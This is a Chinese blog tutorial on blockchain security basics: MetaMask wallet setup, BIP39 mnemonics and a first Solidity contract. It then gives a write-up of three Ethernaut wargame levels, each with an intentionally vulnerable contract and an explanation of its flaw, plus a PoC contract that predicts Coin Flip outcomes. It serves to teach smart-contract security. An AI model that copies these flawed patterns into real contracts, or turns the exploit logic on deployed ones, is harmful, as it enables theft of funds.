0%

区块链安全入门

0x01 钱包创建

安装MetaMask拓展

可以在Chrome拓展商店下载并安装MetaMask拓展

upload successful

创建钱包

按照提示一步一步来即可获得一个钱包

助记词

在钱包创建完成前,MetaMask会提示你是否启用安全选项(即助记词)

助记词是一组由随机生成的单词组成的短语,用于备份和恢复加密货币钱包的私钥

助记词可通过BIP39工具生成

BIP39(Bitcoin Improvement Proposal 39)是一种标准,它定义了一种生成和恢复加密货币钱包的方法,通过使用一组易于记忆的单词序列,即助记词。这些助记词可以生成种子,进而派生出加密货币钱包的私钥和地址。BIP39的主要作用是简化用户备份和恢复钱包的过程,同时提高安全性,因为它允许用户通过记住或写下这些单词来备份他们的钱包,而不是复杂的私钥字符串。

BIP39工具安装:

1
pip install hdwallet

创建完成

创建完成后即可在Etherscan上查看账户信息

upload successful

0x02 智能合约——Solidity语言

Solidity 是一种专门用于编写智能合约的高级编程语言,主要用于以太坊及兼容以太坊虚拟机(EVM)的区块链平台,其作用是通过代码定义去中心化应用(DApp)的自动化规则和逻辑(如代币发行、交易协议等),并确保这些合约在区块链上安全、透明地执行。

第一个合约

在线IDE——Remix

合约,使用Solidity语言编写:

upload successful

版本选择与编译:

upload successful

连接metamask:

upload successful

upload successful

部署合约:

upload successful

(但是付不起…)

0x03 浅尝区块链安全

Ethernaut靶场:https://ethernaut.openzeppelin.com/

第二关 Fallback

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

这里的取钱函数加上了onlyOwner修饰,即必须是合约所有者才能取钱

但是在receive()函数中,当msg.valuecontributions[msg.sender]大于0我们就可以变成合约的所有者了

PoC

先contribute1GWei,然后再向合约转一点ETH即可变成owner

第三关 Fallout

合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

// constructor
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

构造函数命名错误

Poc

发送一点ETH即可变成owner

第四关 Coin Flip

合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

coinFlip是通过blockValue / FACTOR进行计算的

1
coinFlip = uint256(blockhash(block.number - 1)) / FACTOR

block.numberFACTOR均为已知值

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract PoC{
CoinFlip public target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor(address _target){
target = CoinFlip(_target);
}

function _guess() public{
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}